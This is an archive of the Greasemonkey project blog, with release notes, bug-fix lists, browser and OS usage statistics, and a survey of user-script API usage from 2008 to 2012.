Greasespot

Greasemonkey 0.9.15 Release

2012-01-25T14:40:00.000-08:00

The entire list of bugs handled in this release is also available via the 0.9.15 milestone on GitHub. Note that as always it takes some time for Mozilla to review the new version, but it's available on the all versions page immediately.

If you are using it and notice problems, it's best to log an issue or let us know at greasemonkey-dev (and be clear that it's with this version).

This release was hurried, to resolve a few serious bugs introduced in 0.9.14. A few other bugs were also fixed.

Bug fixes:

Editing an installed script to change any remote dependency (@icon, @require, @resource) could cause one or many scripts to be deleted. (#1466, #1502)
Certain @requires can break a script, due to javascript semicolon insertion rules. (#1491)
Toggling the enabled state of a script via the main (Tools > Greasemonkey) menu failed on Mac. (#1496)
Installing a script from local disk failed in 0.9.14. (#1501)

Greasemonkey 0.9.14 Release

2012-01-20T08:15:00.000-08:00

The entire list of bugs handled in this release is also available via the 0.9.14 milestone on GitHub. Note that as always it takes some time for Mozilla to review the new version, but it's available on the all versions page immediately.

If you are using it and notice problems, it's best to log an issue or let us know at greasemonkey-dev (and be clear that it's with this version).

Enhancements:

For new script installs, and installed scripts' updates (still not enabled by default) there is a progress meter for the download. (#1419)

Bug fixes:

Revert the changes to GM_xmlhttpRequest() in 0.9.13 (which were supposed to have no effect, but created a subtle bug). (#1472)
Guarantee that we do not create a specific kind of memory leak. (#1482)

Greasemonkey 0.9.13 Release

2011-11-03T12:10:00.000-07:00

The entire list of bugs handled in this release is also available via the 0.9.13 milestone on GitHub. Note that as always it takes some time for Mozilla to review the new version, but it's available on the all versions page immediately.

If you are using it and notice problems, it's best to log an issue or let us know at greasemonkey-dev (and be clear that it's with this version).

Enhancements:

Script updates install automatically. (#1442)
In 0.9.12 we added update checking. In 0.9.13 updates install automatically, but there's still some discussion over how to handle this best (#1455), so checking is still not enabled by default. We hope to figure this out by the 0.9.14 release. Some other update related work was done, mostly to make Firefox 3 work better. (#1421, #1422, #1423)
Provide an Options item in the Monkey Menu. (#1447)
Add a Cancel button to the Options window. (#1454)

Bug fixes:

GM_getResourceText() was broken. (#1438)
You can properly select an application (bundle) for the editor on Mac OS X. (#1439)
Fix GM_openInTab() for Firefox 3. (#1444)
Fix when pages reassign the location during page load. (#1445)

Greasemonkey Usage by Firefox Version, Oct 2011

2011-10-28T14:12:00.000-07:00

Just like August's post, here's a graph of what versions of Firefox people use Greasemonkey with.

You can open the spreadsheet for the raw data and a larger graph.

Takeaways seem to be not a lot has changed, besides some up-and-down for each rapid release version since then (6 came and went, with 7 replacing it). Firefox 3.6 users are still just shy of three quarters of a million. Firefox versions too old for the newest version of Greasemonkey are still hanging in at almost a quarter million, and just shy of 50,000 users are running a too-new version of Firefox, probably with Add-on Compatibility Reporter.

Greasemonkey 0.9.13 beta1

2011-10-21T13:01:00.000-07:00

Greasemonkey release 0.9.13 should include complete automatic in-the-backgroudn updating of user scripts. As yet there are no docs for script authors but the short version is: put an @version in your metadata, and increase it when there is an update.

Greasemonkey 0.9.13 beta1 is now available for testing. It's in the Mozilla Add-ons beta channel. Open the "Development Channel" drop down at the bottom of the page, and click the "Add to Firefox" button.

Please report an issue or find us at the mailing list to provide feedback on beta versions.

Greasemonkey 0.9.12 Release

2011-09-29T07:47:00.000-07:00

The entire list of bugs handled in this release is also available via the 0.9.12 milestone on GitHub. Note that as always it takes some time for Mozilla to review the new version, but it's available on the all versions page immediately.

If you are using it and notice problems, it's best to log an issue or let us know at greasemonkey-dev (and be clear that it's with this version).

Enhancements:

Script update checking (limited!). (#1053)
We have started to build script update checking. In 0.9.12, it is never automatic in the background. You may choose to check one script (right click and choose "Find updates") or all scripts ("Check for updates" in the tool menu near the top of the Add-ons Manager). If updates are found they will then be displayed. Please use this feature and let us know if it works well, or if it breaks somehow. Once we're confident that it works, we'll turn it on by default (automatically checking in the background) in a future release.
Scripts run with the latest available version of Javascript. (#1403)

Bug fixes:

Shared window object. (#1278)
Before 0.9.0, it was possible to set properties on the window object, and other scripts would be able to read those properties. This behavior was never supported, but as the compatibility fix that broke it is no longer necessary, it has been reverted. It is still not suggested that you leverage this quirk, it is not a fully supported feature and may break again in the future.
Right-clicking a script in the Monkey Menu works, even when no editor is configured. (#1405)
Fix launching the editor. (#1409)
Scripts with @match could break loading all other scripts. (#1414)
When browsing local files, menu commands for all scripts (on all tabs) no longer display. (#1424)
Fix GM_openInTab(). (#1428)

Try the Greasemonkey 0.9.12 beta!

2011-09-23T13:43:00.000-07:00

We've fixed a few bugs and started working on auto-updates for scripts. Please, if you have a chance, download the beta release and test things out.

It's available in the Mozilla Add-ons beta channel. Open the "Development Channel" drop down at the bottom of the page, and click the "Add to Firefox" button.

Please report an issue or find us at the mailing list to provide feedback on beta versions.

Greasemonkey 0.9.11 Release

2011-09-06T06:38:00.000-07:00

The entire list of bugs handled in this release is also available via the 0.9.11 milestone on GitHub. Note that as always it takes some time for Mozilla to review the new version, but it's available on the all versions page immediately.

If you are using it and notice problems, it's best to either let us know at greasemonkey-dev or log an issue (and be clear that it's with this version).

Bug fixes:

Work around for a problem Tab Mix Plus causes when opening links in new tabs. (#1406)

Greasemonkey 0.9.10 Release

2011-08-22T12:53:00.000-07:00

The entire list of bugs handled in this release is also available via the 0.9.10 milestone on GitHub. Note that as always it takes some time for Mozilla to review the new version, but it's available on the all versions page immediately.

If you are using it and notice problems, it's best to either let us know at greasemonkey-dev or log an issue (and be clear that it's with this version).

Bug fixes:

You will be prompted to pick a new editor if the existing setting is an invalid path. (#1386)
Changing views within the Add-ons Manager could cause the user script sort order to be wrong. (#1394)

Enhancements:

When a script causes an unhandled error, the display in the Error Console will be a bit easier to read. (#1396)
When Growl is not installed, Greasemonkey's notifications are less obtrusive. (#1397)
A range of internal code clean ups. (#1395, #1398, #1399, #1400, #1401)

Greasemonkey 0.9.9 Release

2011-08-12T07:13:00.000-07:00

Update: Mozilla did not pass this version for review. Since 0.9.10 was already underway, their requested changes were made there. This version never really hit a public release.

The entire list of bugs handled in this release is also available via the 0.9.9 milestone on GitHub. Note that as always it takes some time for Mozilla to review the new version, but it's available on the all versions page immediately.

If you are using it and notice problems, it's best to either let us know at greasemonkey-dev or log an issue (and be clear that it's with this version).

Bug fixes:

Pressing 'back' could rarely cause a script to run twice on the same page. (#1083)
Extended characters would get corrupted in new scripts. (#1236, #1315)
A full disk could cause loss of data (especially config.xml). (#1301)
(Affecting 0.9.8) Scripts would not install (all scripts in Firefox 3: #1389, always for certain scripts: #1391)

Enhancements:

GM_xmlhttpRequest() provides progress events. (#1081)
GM_xmlhttpRequset() provides a synchronous mode. (#1269)
By popular demand: a UI for editing @includes and @excludes. (#1362)

Greasemonkey Usage by Firefox Version, August 2011

2011-08-05T12:47:00.000-07:00

I'm revisiting the Greasemonkey usage topic. A short while back, we decided to drop support for Firefox 3.0 from new versions of Greasemonkey, somewhat based on the similar work I did back then. But I realize that last graph wasn't very well done, it didn't reveal the 3.x usage clearly. So here's an interactive trend graph that makes it much more obvious:

(Access the raw data and a larger graph at Google Docs.)

It turns out that Firefox 3.5 is even less used than 3.0, both well under 5%. On the other hand, as mentioned, 3.6 is still 25% of usage. It may well mean that we drop 3.5 support and take advantage of some of the behind-the-scenes things available only in 3.6 and higher very soon.

P.S. There's also some graphs, by major version, and minor version within 0.9, of Greasemonkey usage.

Nerd alert: To make this graph, I started with the AMO statistics, and passed it through a python script to clean up and combine the (patch level) versions. By hand, I rearranged the data into a 7-day moving average for the versions I was interested in: 3.0 and higher.

Greasemonkey 0.9.8 Release

2011-08-01T08:35:00.000-07:00

Bug fixes:

User scripts cannot run in any about: pages besides about:blank. (Security enhancement; #1375)

Enhancements:

Global, user specified, @exclude rules. (#1002)
New @run-at metadata imperative, which supports value document-start, as well as the standard document-end behavior. Please see the documentation. (#1103)
Support for @match metadata imperative, as implemented by Google Chrome. Thanks to Scriptish for original implementation. (#1377)
Support for full regular expression syntax in @include/@exclude rules. Please see the documentation. (#1378)

The entire list of bugs handled in this release is also available via the 0.9.8 milestone on GitHub. Note that as always it takes some time for Mozilla to review the new version, but it's available on the all versions page immediately.

If you are using it and notice problems, it's best to either let us know at greasemonkey-dev or log an issue (and be clear that it's with this version).

Greasemonkey 0.9.7 Release

2011-07-14T09:19:00.000-07:00

Bug fixes:

Scripts with broken @icons will install, just with no icon. (#1214)
Editing the @icon line of a script will take effect immediately. (#1215)
Remote resources (@require, @resource, @icon) that redirect to other URLs will now work. (#1222)

Enhancements:

Compatibility with Firefox 6 and 7. (#1357)
GM_openInTab() will respect the insertRelatedAfterCurrent preference. (#1370)

The entire list of bugs handled in this release is also available via the 0.9.7 milestone on GitHub. Note that as always it takes some time for Mozilla to review the new version, but it's available on the all versions page immediately.

If you are using it and notice problems, it's best to either let us know at greasemonkey-dev or log an issue (and be clear that it's with this version).

Greasemonkey Usage by Firefox Version, July 2011

2011-07-08T12:59:00.000-07:00

I wrote a very similar post three months ago, but there's been a lot of real motion along Mozilla's fast release track since then. It's worth revisiting these numbers:Click for a larger image, or browse the data in Google Docs, with a larger view and a line chart as well.

This stacked area chart makes a few of trends obvious: Firefox 4 became very popular over its short life, and Firefox 5 is quickly replacing it. But also: Firefox 3.6 is definitely still kicking, at the second most common browser over the past week. Here's some data; the average daily usage for each version over the past week:

5.0 1,589,647
3.6 798,062
4.0 461,349
3.0 150,314
3.5 117,740
2.0 13,144
6.0 2,596
7.0 1,990
1.5 392

Or: Version 3.x (1,066,116) is still one third of total usage (3,135,233). And even if 4.0 is dropping quickly, right now it's still almost a quarter of the total post-3 users.

Greasemonkey 0.9.6 Release

2011-06-24T10:21:00.000-07:00

Bug fixes:

GM_openInTab() fails in Firefox 3. (#1361)
Firefox 5: Error in Add-ons Manager. (#1367)

Enhancements:

Add "get user scripts" link to the Add-ons Manager. (#1213)
Pass site cookies when downloading scripts. (#1359)

The entire list of bugs handled in this release is also available via the 0.9.6 milestone on GitHub. Note that as always it takes some time for Mozilla to review the new version, and it's available on the all versions page. If you are using it and notice problems, it's best to either let us know at greasemonkey-dev or log an issue (and be clear that it's with this version).

Greasemonkey 0.9.5 Release

2011-05-26T09:40:00.000-07:00

Primarily because a serious issue was found in the not-yet-reviewed 0.9.4, version 0.9.5 has been hurried out.

Bug fixes:

Installing and uninstalling the same script many times does not work properly. (#1353)
GM_xmlhttpRequest() does not work in Firefox 5 betas. (#1354)
(Introduced in 0.9.4:) Cannot enable nor disable scripts. (#1355)
Installing the first user script while the user scripts pane of the add-ons manager is open leaves the "no user scripts" warning. (#1356)

Enhancements:

The installation dialog shows the script version, if provided with @version. (#1349)

The entire list of bugs handled in this release is also available via the 0.9.5 milestone on GitHub. Note that as always it takes some time for Mozilla to review the new version, and it's available on the all versions page. If you are using it and notice problems, it's best to either let us know at greasemonkey-dev or log an issue (and be clear that it's with this version).

Greasemonkey 0.9.4 Release

2011-05-24T12:20:00.000-07:00

Bug fixes:

The GM_openInTab() API again returns a handle to the window object. (#1298)
Using alert() will not break setTimeout() nor GM_xmlhttpRequest(). (#1318)
NOTE: we currently only have a work-around in place, watch mozilla bug 647727 for a real fix.

Enhancements:

When re-ordering execution of scripts: clicking the first/last item disables sooner/later items, and picking any of these will switch to Execution Order sort (if it is not already selected).
Removed the detail view for user scripts, which did not contain any more information than the list view.

The entire list of bugs handled in this release is also available via the 0.9.4 milestone on GitHub. Note that as always it takes some time for Mozilla to review the new version, and it's available on the all versions page. If you are using it and notice problems, it's best to either let us know at greasemonkey-dev or log an issue (and be clear that it's with this version).

Greasemonkey 0.9.3 Release

2011-04-28T14:05:00.000-07:00

Bug fixes:

Error message logged ("Redeclaration of const document")/high CPU usage when closing the sidebar. (#1226, #1298)
Navigating to a .user.js inside a frame works like anywhere else. (#1248)
The list of user scripts in the Add-ons Manager would sometimes forget its sort order. (#1307)
Compatibility enhancement with AutoPager (broken in 0.9.2). (#1344)
Passing a non-function to GM_registerMenuCommand()'s commandFunc broke the entire menu, and items showed up in the wrong order (both broken in 0.9.2). (#1346, #1347)

Enhancements:

Passing the Referer header works, for GM_xmlhttpRequest(). (#1240)
Accessibility: The sort buttons in the Add-ons Manager work with keyboard input (space/enter). (#1345)

The entire list of bugs handled in this release is also available via the 0.9.3 milestone on GitHub. Note that as always it takes some time for Mozilla to review the new version, and it's available on the all versions page. If you are using it and notice problems, it's best to either let us know at greasemonkey-dev or log an issue (and be clear that it's with this version).

Breaking change: Inject into about:blank?

2011-04-20T07:56:00.001-07:00

Back in version 0.8.2 we patched a security/privacy hole by preventing injection into file: and about: scheme URLs. This was August 2009, and at the time we specifically allowed about:blank (while blocking the rest of about:). A carefully crafted web search, [site:userscripts.org/scripts/review/ "about:blank" -"src about:blank"] reveals (among plenty false positives just making frames/windows that start blank) that real scripts are using this feature. Examples include:

Super Imgur Script

Then there's scripts specifically avoiding about:blank:

Yes, I ended up finding only one real script using this feature. In much the way that I imagined it way back when. But I found four specifically trying to avoid it.

We now know of one real, serious bug with this approach. It happens to have an easy workaround, but really brings to light the issue: The about:blank page has a sort of special meaning. In this bug we know about, the browser is using a navigation to about:blank as a sort of clean-up, meaning "this content is gone", much like assigning null as a cleanup activity in some programming languages.

Therefore our current plan is to not inject scripts into about:blank unless the @include rule specifically mentions it. So if you say @include about:blank#mycustomvalue then everything will work as it does. But if you say @include * (or rely on that default) then you will not run on about:blank. Current plans would include this change in the upcoming version 0.9.3.

(As always, please find us on greasemonkey-dev to discuss the development of Greasemonkey itself.)

Greasemonkey 0.9.2 Release

2011-04-05T08:41:00.001-07:00

This release primarily fixes some of the problems discovered since 0.9.0.

Bug Fixes:

Failure on OSX when Growl is installed, but not running. (#1264)
Incorrect display of Greasemonkey icon in Add-ons window (Firefox 3.6, OS X). (#1284, #1291)
Provide a sort bar, to control display order of the scripts in the Add-ons manager, for Firefox 4. (#1293)
Remove "accelerator" keys from GM_registerMenuCommand(). (#1312, previously)
Work around incompatibility with Personas Plus extension. (#1253)

Enhancements:

Provide a toolbar button, and remove the status bar icon for Firefox 4. (#1227)
When re-installing a script (e.g. for an update), keep it in the same execution order. (#1267)
Keep the add-ons manager view up to date when changing (installing/enabling/disabling/etc) user scripts. (#1305)

It should be available soon, pending normal delays for review.

Greasemonkey Usage, by Firefox Version, April 2011

2011-04-05T08:41:00.000-07:00

I'd like to take the opportunity to review the current usage profile of Greasemonkey, as it relates to Firefox version. There's a couple points to be made, in regards to the work we've been doing recently on the 0.9 version branch of Greasemonkey. This data all comes from the addons.mozilla.org statistics for Greasemonkey.

First, we can quickly note that Firefox 1.x and 2.x combined total only one half of one percent of current usage. This is why we decided to up the minimum compatible version to 3.0. It wasn't worth the effort to try to keep things working in earlier browsers.

Also, now that Firefox 4.0 is out for a while, we can see why we went to 3.0 minimum, and not 4.0. So far only about one fifth of our users have upgraded. For everyone else, we think the recent enhancements we've been making are worth having, so we've taken special effort to make sure that we stay working in Firefox 3, and don't rely on features only available in Firefox 4. Over time, perhaps that will change. The slope is quite steep right now, but if history is any guide, there will be a substantial minority of users that stick with Firefox 3 for some time.

For reference, here's the exact data.

GM_registerMenuCommand() losing "accelerator key" feature

2011-04-01T11:40:00.000-07:00

Script authors, take note: I'm planning on moving forward with a change to remove a small part of the functionality of GM_registerMenuCommand(). This post is to explain what part, and the justification for doing so.

With the release of Firefox 4, Mozilla has made some grand changes to the look and feel of the browser. They've moved tabs to the top, emphasized the Firefox Button over the menu bar, and removed the status bar (providing the addons bar as a temporary shim for extension compatibility). This led us to re-build parts of Greasemonkey to focus on providing a toolbar, and de-emphasize the old "monkey menu" in the status bar.

It turns out that the menu code, now controlling the Tools > Greasemonkey menu, the old status bar monkey menu (in Firefox 3.x), and the new toolbar button's menu, also controls the commands for GM_registerMenuCommand() (to put them in the menu, of course!), which also controls the "accelerator keys" for those commands.

These accelerator keys have, more or less, never worked. I've written a test script (see the source, or install it) to demonstrate this. Once installed, navigate to the page about:blank#GM_rmc (you might need to hit reload, depending on how you open this) to run the script. Pick any combination of modifiers, and a letter for the accelerator key. Then try to use that accelerator key.

I'm testing on Firefox 3.6 and Greasemonkey 0.8 -- the last versions before some of these big changes started, where everything should still be as reliable as it ever was.

I ran this test: Close Firefox, launch it to the test page with only one tab open. Register a single menu command. Open the monkey menu, click on the menu item and see the alert. Press the accelerator key. No alert. I repeated this whole process for: Shift+Ctrl+Q, Alt+Shift+X, Control+M. None of it works. I saw it working with at least one earlier attempt, but even then it was fragile: normal actions like loading pages or closing tabs caused otherwise working keys to fail.

I tried a super-simple script and it too doesn't work. Installing it and pressing Ctrl+Shift+C gives me no results, but selecting the menu item does.

I've asked on our mailing list, I've asked at userscripts.org, and I've held discussions with developers. I can't find anyone that will regret losing accelerator key support in GM_registerMenuCommand(), and all my attempts to make it work well have so far failed.

So it is going to be removed, in Greasemonkey 0.9.2. Unless I hear from someone that can show me that I've been a fool, it does work, and I'm using it wrong. Please use the mailing list to get in touch with us if so!

Greasemonkey 0.9.1 Release

2011-01-24T21:27:00.001-08:00

This is primarily a quick release to deal with bugs found in 0.9.0.

Bug fixes:

Fix user script sandbox wrapping. This deals with lots of problems like eval(). (#1258, also #1254, #1260, #1263, #1265)
If your script(s) stopped working with 0.9.0, this should fix them.
Fixed rare bug when installing scripts. (#1250)
Fixed errors when Growl is not installed on Mac OS X. (#1249)
Fixed problems with relative @require imperatives. (#1262)

New features/improvements:

Allow sorting by descending (as well as ascending) execution order. (#1217)

Known issues:

Incompatible with All-in-One Sidebar. (#1252)
Incompatible with Personas extension. (#1253)

Problems with version 0.9.0

2011-01-24T20:32:00.001-08:00

Unfortunately, a number of problems with the recent 0.9.0 release were discovered only after it saw full public release, rather than before that, in one of our Release Candidates.

There are a few small problems related to scripts installing and running -- these are fixed, and the fixes should be released very soon.

There are also known problems with All-in-One Sidebar, and the Personas extension. These are more serious problems, and the only solution right now is to disable one or the other extension.

Keep your eyes open for release 0.9.1 which should be coming out Real Soon Now.

Greasemonkey 0.9.0 Release

2011-01-18T11:53:00.000-08:00

It's been a long time coming, but it should be worth the wait! The next major release of Greasemonkey, version 0.9.0, is ready. Let's dive right into the new features:

New Features:

Compatibility with Firefox 4! Note that because of Firefox bug 612025 this is somewhat unsafe for 4.0b7 to 4.0b9 (inclusive). Beta 10 should be fixed (the nightly build on January 14th definitely is). Firefox 4 support is still preliminary. Everything probably works, but not everything works really well. The backlog of bugs for the next release is primarily focused on this.
Complete integration with the standard Firefox Add-ons dialog, treating User Scripts as just another kind of browser add-on.
For Firefox 3, the User Script management dialog now looks like:

And for Firefox 4.0:
A global options dialog, where the script editor can always be selected. (#1012, #1109)
Live in-place editing for the entire script, including metadata (@name, @require, @include, @exclude, etc.). (#1148, #1157, #1165)
Web pages that end in .user.js are loaded as normal, instead of being installed as a user script. (#1184)

Bug fixes / minor enhancements:

All Greasemonkey windows respond to standard close window keyboard shortcuts. (#1085)
Support for @icon metadata imperative, displayed in the new add-ons manager integration. (#1096)
Support user and password for GM_xmlHttpRequest(). (#1100)
Support @version metadata imperative. (#1110)
Suppress spurious Error: not well-formed (// ==UserScript==) error messages. (#1134)
The "install" menu item is removed. (#1196)

Greased Lightbox

→←+-↻

Loading image

Click anywhere to cancel

Image unavailable

Greased Lightbox

→←+-↻

Loading image

Click anywhere to cancel

Image unavailable

Greasemonkey 0.8.6 Release

2010-04-08T13:23:00.000-07:00

The sixth release in the 0.8 series of Greasemonkey, this release includes:

Features:

Add a hidden preference to allow greasing the unmht: scheme. (#1038)
Allow relative URLs to be used for GM_xmlhttpRequest(), just like standard XMLHttpRequest. (#1057)
Performance enhancements and code improvements to internal logic behind @include and @exclude rules. (#1070 #1074 #1089)
Added translations: ca-ES, cs, fr, nl, sr-RS, vi.

Bug fixes:

GM_xmlhttpRequest() can fail when Object.prototype has been modified. (#1065)
Two warnings upon making new script via "New User Script". (#1069)
Installing scripts from the hard drive (instead of via the web) can fail. (#1077)
Fix a flaw that could allow websites to prevent Greasemonkey from running. (#1082)
Error "this.menuCommanders is undefined" bug when closing a browser window. (#1087)
Error "ScriptDownloader is not defined" when performing view source on a user script. (#1091)

Greasemonkey 0.8.5 Release

2010-02-02T08:30:00.000-08:00

Greasemonkey 0.8.5 is a maintenance release, with these fixes and improvements:

Add an abort() method for GM_xmlhttpRequest. (#1007)
Increase compatibility with bleeding-edge Firefox versions. (#1054)
Display a "welcome" page to new users when they install. (#1006)
Fix hooking into the console object for Firebug 1.5.

Thanks very much to our users on the mailing list that caught a few issues in the release candidates.

Greasemonkey 0.8.4 released

2009-12-08T21:06:00.000-08:00

Hot on the heels of 0.8.3 is a single critical bugfix in 0.8.4:

Properly specify the .finalUrl for GM_xmlhttpRequest results. (#1063)

Greasemonkey 0.8.3 Release

2009-12-08T07:56:00.000-08:00

Greasemonkey 0.8.3 aka "0.8.20091129.3" has been released. It contains the following changes:

Add Firefox 3.6 compatibility flag.
Use platform-dependent line endings when creating a script file. (#1004)
Properly handle error events, and calling the onerror callback, in GM_xmlhttpRequest. (#1008)
Add 'binary' option, to do a .sendAsBinary(), for GM_xmlhttpRequest. (#1017)
GM_setValue() will display a descriptive error, when it does not receive enough arguments. (#1005)
Fixed a bug that would cause the Greasemonkey info bar not to appear sometimes, when viewing a script's source.
Updated translations from babelzilla.org.

Greasemonkey API Usage

2009-11-25T08:30:00.000-08:00

I've been intending to write this post for months, but various things got in the way. Well, it's finally ready! Some of my ideas for Greasemonkey 1.0 would involve major changes to the way that Greasemonkey runs user scripts. The goals would be to make user script authoring easier, by removing some of the quirks, limitations, and problems that Greasemonkey's current security architecture imposes.

To begin, an aside: why does Greasemonkey have a security architecture that imposes limitations and problems on script authors? It's basically history now, but in short: Greasemonkey provides the powerful-but-dangerous capability for user scripts to break the same-origin policy for AJAX requests. Lots of useful scripts have been created that hinge on this capability. Unfortunately, it is indeed powerful, and Greasemonkey by nature mashes itself and the user scripts up with any old web page that you might visit. If Greasemonkey and/or a script it is running presents a vulnerability that the content page can leverage, all sorts of nasty things could result, from stealing your bank account, creating false ecommerce purchases, stealing the content of your private files or site data, and so on.

The point of this post, then, is to examine the landscape for user scripts today. Discover what scripts are out there, what they are like, and how they operate. What kind of changes to Greasemonkey would make these scripts stop working? What kinds of changes could we make with minimal impact? Toward that end, I've got three graphs to show you (with the raw data below).

To perform this analysis, I downloaded over thirty six thousand scripts from userscripts.org. This is by no means the entire population of user scripts out there, but I believe it is a good representative sample. I wrote a python script to read their source and (a bit crudely, but well enough) parse their contents and metadata. The first thing I was interested in seeing is how common the usage of the various GM_ apis are.

The first thing that we can quickly see is that well over half the scripts, 58.87%, use no special API calls at all. No matter what happens to the GM_ APIs, they'll keep working just fine. The most common API call is the get/set value call, at 16.50%. The cross-domain AJAX call is a close second at 15.51%, with GM_addStyle next at 12.95%. From here things trail off rapidly, but we see how common unsafeWindow and eval are, both with the potential to be very dangerous.

Browsers are progressing rapidly, however. Instead of get/set value, one could use DOM Storage, and HTTP Access Control standards, for making cross-domain requests, are being standardized. What's important to know is if the extra power provided by these APIs is actually being used, or whether these sorts of stand-ins could be a viable replacement. To investigate that, I examined how many different domains scripts are @included into when making these calls, and which URLs the AJAX calls are being made to.

The vast majority of get/set value calls (76.33%) are made by scripts that are only ever @include'd into a single domain. For these scripts, DOM Storage would work perfectly. Some execute on two, and almost none on more than two. Some also execute on every page, and this starts to be a problem. The AJAX patterns are very different.

Note importantly that my script was a bit naive with AJAX domain gathering. It used simple string manipulation to find URLs inside GM_xmlhttpRequest calls. If the URL was set in a variable, elsewhere, then the script did not find it. So of 5600 scripts that call GM_xmlhttpRequest, only 2693 were "understood" by my script -- and this may be a bad sample. Scripts that exclusively set their URLs in variables/constants may be more likely to make cross-domain requests, or even perhaps less likely.

That said: an obvious pattern emerges: plenty of scripts do "@include *" then AJAX off, likely to some other, fixed, site (20.16%). (Note: lots of these appear to be update checkers, which should hopefully be unnecessary before 1.0.) Plenty also seem to operate fully within one site (20.87%). By far the most, however, operate on one site and call another (46.79% or 1260 distinct scripts). Larger combinations of sites are minimal. Part of this group is oversimplification in my script, an @include of "*flickr.com" and an AJAX call to "flickr.com" are counted separately. Most though are the especially useful scripts that, for example, include IMDB data on Netflix, or vice versa. So, this is far too large a use case to break. Whatever we do, it seems cross-domain AJAX is going to have to remain.

Finally, I also took a look at the usage of metadata imperatives: both the "official" ones that actually affect how Greasemonkey works, and the others that are used in other tools, or added for the author's own purposes. That looks like:

Generally what I expected. Most everyone has an @name and an @include, nearly as many include an @description and @namespace. Things fall off rapidly from there, but the unofficial @version is next, and an unusual (to me) @author. From there we fall twoard the single-digit range, finding that @require and @resource are still very rarely used.

Conclusions: Over half of user scripts use no privileged APIs. All of Greasemonkey's security mechanisms are a pure hindrance to all these scripts. If it went away, they would benefit greatly. It may be possible to remove get/set value in favor of DOM Storage, but the potential damage of these APIs is so small that the cost likely outweighs the benefit. Although a minority (15.51%) of scripts use GM_xhr, it's still too many to consider removal.

Edit: Fixed GM_getResourceURL count, I first searched for "Url" and not "URL", explaining the zero found, before.

To those that are interested: the script that I used to generate these numbers is available for inspection, in case it perhaps contains a serious bug. The data that I generated with it, and the charts above, are also available to check.

Greasemonkey "0.8.2" Released

2009-09-26T05:43:00.000-07:00

The latest version of Greasemonkey, "0.8.2" (full version: 0.8.20090920.2) has been uploaded to AMO. It includes the following changes:

Do not inject scripts into file: and about: URLs by default, for security reasons. (#1000)
The GM_openInTab() function respects the background loading tab behavior from Firefox preferences. (#1003)
Specify label/control associations in "New Script" dialog, for accessibility. (#1010)
Minor code clean ups and improvements. (#1011, #1020)
Remove "forced" upgrade code. (#1013)
Remove extra spacing around the status bar icon. (#1014)
When adding include/exclude rules, include the port number in the default suggestion. (#1015)
Reduce noise logged to the console when interacting with Firebug. (#1018)
Apply security checks to GM_listValues() and GM_deleteValue(). (#1019)
Fix missing localized strings in various locales. (#1022)
Grease pages loaded into the sidebar. (#1023)
Allow user scripts to access the latest available JavaScript engine. (#1026)

This is the same file posted as RC2 about a week ago to the -users mailing list. As the version number (and the release notes) indicate, this is a maintenance release, fixing bugs and adding minor features to the previous release.

Who Uses Greasemonkey, Part 2

2009-09-18T13:04:00.000-07:00

I'd like to follow up my earlier post, analyzing which browsers Greasemonkey is used in. This time, a view on the operating systems where Greasemonkey is used. This is generally less interesting information -- it closely mirrors the market share of the OSes. But it's one more bit of detail we can derive from the AMO stats.

This graph probably isn't very surprising. It shows that Mac has become more popular in the last year. Some detail on the last four weeks:

Another view on the same detail. The exact underlying numbers involved:

OS	Users	Percent
Windows	2531829	91.50%
Mac	164282	5.94%
Linux	69186	2.50%
Other	1690	0.06%

Like I said at the beginning, generally the breakdown of the operating systems in general. Even so, the eight or nine percent of users on Mac or Linux make up nearly a quarter of a million users.

Like before, the numbers and charts are visible on Google Docs. No script this time, the work was easy enough to do by hand.

Who Uses Greasemonkey?

2009-09-05T14:26:00.001-07:00

As Johan and I begin to take over development of Greasemonkey, one of the important questions we need to answer is: which platforms should we support? We can inform this decision with some of the usage statistics that Mozilla Add-Ons gathers.

The statistics page for Greasemonkey is visible to everyone. The raw data is even available for download. But it can be hard to read, due to the level of detail and formatting that is applied. So, I've taken the time to analyze it carefully. The first interesting thing that we can see is the usage trends over time:

(Looks like Mozilla had a reporting issue around May of 2009.)

I've also made a pie-graph of app usage, for the average values of the past 4 weeks:

That pie chart represents these numbers:

App	Users	Percent
Firefox/<=1.0	598	0.02%
Firefox/1.5	5502	0.21%
Firefox/2.0	113921	4.31%
Firefox/3.0	1470584	55.70%
Firefox/>=3.5	1049092	39.74%
Other	446	0.02%

So, let's say first off: we know this is a bad measurement. There's (almost) no "other" because there's no official support for other platforms, so only third party alterations make this usage possible. Thus, this data doesn't help us answer (i.e.) "Should we support Flock?" or "Should we support SongBird?".

It does let us know a little bit about what versions of Firefox we should support. All of 1.0 and 1.5 make up only 0.23% of the user base. Firefox 3.0 and 3.5 make up 95.44% of the user base. Firefox 2, however, makes up 4.31% of the user base. That's a much harder call.

Hackers: The raw data and charts behind this post is available on Google Docs. You can also see the python script that turned AMO's raw data into this presentation.

Greasemonkey Lives At GitHub

2009-08-26T13:46:00.000-07:00

Months ago, the people running DevjaVu let us know that they were shutting the service down. It's unfortunate, but they cannot be faulted. They're still running now, but there's no saying how long that will remain for. As of today, the ability to change tickets (both creating and commenting, for all but pre-existing project members) has been revoked.

Greasemonkey now lives at GitHub, both for source code hosting, and issue tracking. We expect that the distributed nature of git should allow freer forking and branching, and easier collaboration with anyone; rather than the limited set of people who were granted SVN commit access, in earlier days.

If you notice any existing links outside of DevjaVu pointing into it, please let us know at the greasemonkey-dev mailing list. If you see someone suggesting the DevjaVu site, please correct them and let everyone involved know that GitHub is now the official code and issue host for Greasemonkey.

Thanks, and if you want to contribute, send those pull requests!

Outie

2009-08-23T10:45:00.000-07:00

[This is a repost of a message I also sent to greasemonkey-dev]

It's been a long time since I've been working on Greasemonkey actively. During the time I was away Johan Sundström and Anthony Lieuallen picked up the slack and did the last few releases without my help.

So I've decided to officially hand over the reins to them. What this means practically is that they will be the ones accepting patches, doing releases, and tending the bugs. I also hope that this change will reinvigorate the project, as it has been moving slowly for some time.

I'll still be lurking of course, but Johan and Anthony will be responsible for day-to-day administration now. I know they'll do a great job.

Greasemonkey Release 0.8.20090123.1

2009-01-05T12:13:00.000-08:00

In preparation for Firefox 3.1, we're releasing a new version of Greasemonkey, marked as compatible with Firefox 3.1b2, along with additional changes and fixes:

Added translations: ar-SA, bn-IN, hu-HU, id-ID, ro-RO, sr-RS, vi-VN.
Fix for ticket #111 (anomalous separators in the monkey menu).
Add GM_deleteValue() and GM_listValues() APIs (#38).
Restore the anonymous function wrapper around scripts, and thus the same behavior as versions prior to 0.8 (by default, removable with the @unwrap metadata imperative, #108).
Improved interaction with the Firebug console (#122, #204).

Greasemonkey Version 0.8

2008-06-12T09:38:00.000-07:00

